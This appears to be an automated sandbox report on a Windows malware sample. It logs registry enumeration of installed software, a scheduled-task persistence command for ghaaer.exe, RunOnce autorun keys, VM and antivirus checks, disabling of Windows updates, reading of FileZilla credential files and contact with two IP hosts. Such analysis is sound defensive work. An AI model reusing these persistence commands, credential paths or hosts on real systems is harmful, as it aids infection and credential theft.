RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: IE4Data base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: IE5BAKEX base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: IEData base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\IEData	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: MobileOptionPack base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Mozilla Thunderbird 78.4.0 (x86 ko) base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: Office15.PROPLUSR base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: SchedulingAgent base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: WIC base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\WIC	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {00203668-8170-44A0-BE44-B632FA4D780F} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {01B845D4-B73E-4CF7-A377-94BC7BB4F77B} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {1D91F7DA-F517-4727-9E62-B7EA978BE980} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {26A24AE4-039D-4CA4-87B4-2F32180131F0} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {4A03706F-666A-4037-7777-5F2748764D10} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {60EC980A-BDA2-4CB6-A427-B07A5498B4CA} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-0015-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-0016-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-0018-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-0019-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-001A-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-001B-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-001F-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-001F-040C-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-001F-0C0A-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-002C-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-0044-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-006E-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-0090-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-00A1-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-00BA-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-00E1-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-00E2-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-0115-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-0117-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {90150000-012B-0409-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {91150000-0011-0000-0000-0000000FF1CE} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {939659F3-71D2-461F-B24D-91D05A4389B4} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {9B84A461-3B4C-40E2-B44F-CE22E215EE40} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{9B84A461-3B4C-40E2-B44F-CE22E215EE40}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {AC76BA86-7AD7-FFFF-7B44-AC0F074E4100} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{AC76BA86-7AD7-FFFF-7B44-AC0F074E4100}	1
RegOpenKeyExW March 5, 2023, 2:22 p.m.	regkey_r: {BB8B979E-E336-47E7-96BC-1031C1B94561} base_handle: 0x000003d0 key_handle: 0x00000290 options: 0 access: 0x00020019 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{BB8B979E-E336-47E7-96BC-1031C1B94561}	1

Uses Windows utilities for basic Windows functionality (2 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\46aee2aca4\ghaaer.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\46aee2aca4\ghaaer.exe" /F

Executes one or more WMI queries which can be used to identify virtual machines (1 event)

wmi	SELECT * FROM Win32_Processor

Communicates with host for which no DNS query was performed (2 events)

host	193.233.20.22
host	193.233.20.25

Attempts to identify installed AV products by installation directory (7 events)

file	C:\ProgramData\AVAST Software
file	C:\ProgramData\Avira
file	C:\ProgramData\Kaspersky Lab
file	C:\ProgramData\Panda Security
file	C:\ProgramData\Bitdefender
file	C:\ProgramData\AVG
file	C:\ProgramData\Doctor Web

Attempts to stop active services (2 events)

Time & API	Arguments	Status	Return	Repeated
ControlService March 5, 2023, 2:21 p.m.	service_handle: 0x000000001a7e2ae0 service_name: None control_code: 1		0	0
ControlService March 5, 2023, 2:21 p.m.	service_handle: 0x000000001a7e2d20 service_name: None control_code: 1		0	0

Installs itself for autorun at Windows startup (6 events)

reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP000.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP001.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP002.TMP\"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3	reg_value	rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\test22\AppData\Local\Temp\IXP003.TMP\"
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\46aee2aca4\ghaaer.exe" /F
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN ghaaer.exe /TR "C:\Users\test22\AppData\Local\Temp\46aee2aca4\ghaaer.exe" /F

Attempts to disable Windows Auto Updates (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU\NoAutoUpdate

Harvests credentials from local FTP client softwares (2 events)

file	C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file	C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml

Executes one or more WMI queries (8 events)

wmi	SELECT * FROM Win32_VideoController
wmi	SELECT * FROM AntivirusProduct
wmi	SELECT * FROM Win32_OperatingSystem
wmi	SELECT * FROM Win32_Process Where SessionId='1'
wmi	SELECT * FROM AntiSpyWareProduct
wmi	SELECT * FROM FirewallProduct
wmi	SELECT * FROM Win32_DiskDrive
wmi	SELECT * FROM Win32_Processor

Collects information about installed applications (38 events)

Time & API	Arguments	Status
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 7-Zip 20.02 alpha regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Adobe AIR\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: EditPlus regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\EditPlus\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Chrome regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Haansoft HWord 80 Korean\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Mozilla Thunderbird 78.4.0 (x86 ko) regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Thunderbird 78.4.0 (x86 ko)\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Office15.PROPLUSR\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe AIR regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{00203668-8170-44A0-BE44-B632FA4D780F}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: HttpWatch Professional 9.3.39 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{01B845D4-B73E-4CF7-A377-94BC7BB4F77B}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: 한컴오피스 한글 2010 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{1D91F7DA-F517-4727-9E62-B7EA978BE980}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java 8 Update 131 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{26A24AE4-039D-4CA4-87B4-2F32180131F0}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Java Auto Updater regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{4A03706F-666A-4037-7777-5F2748764D10}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Google Update Helper regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Access MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0015-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Excel MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0016-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft PowerPoint MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0018-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Publisher MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0019-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Outlook MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001A-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Word MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001B-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing Tools 2013 - English regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Outils de vérification linguistique 2013 de Microsoft Office - Français regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-040C-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing Tools 2013 - Español regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-001F-0C0A-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Proofing (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-002C-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft InfoPath MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0044-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-006E-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft DCF MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0090-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft OneNote MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00A1-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Groove MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00BA-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OSM MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E1-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office OSM UX MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-00E2-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Shared Setup Metadata MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0115-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Access Setup Metadata MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-0117-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Lync MUI (English) 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90150000-012B-0409-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Microsoft Office Professional Plus 2013 regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{91150000-0011-0000-0000-0000000FF1CE}\DisplayName	1
RegQueryValueExW March 5, 2023, 2:22 p.m.	key_handle: 0x00000290 regkey_r: DisplayName reg_type: 1 (REG_SZ) value: Adobe Flash Player 13 ActiveX regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{939659F3-71D2-461F-B24D-91D05A4389B4}\DisplayName	1
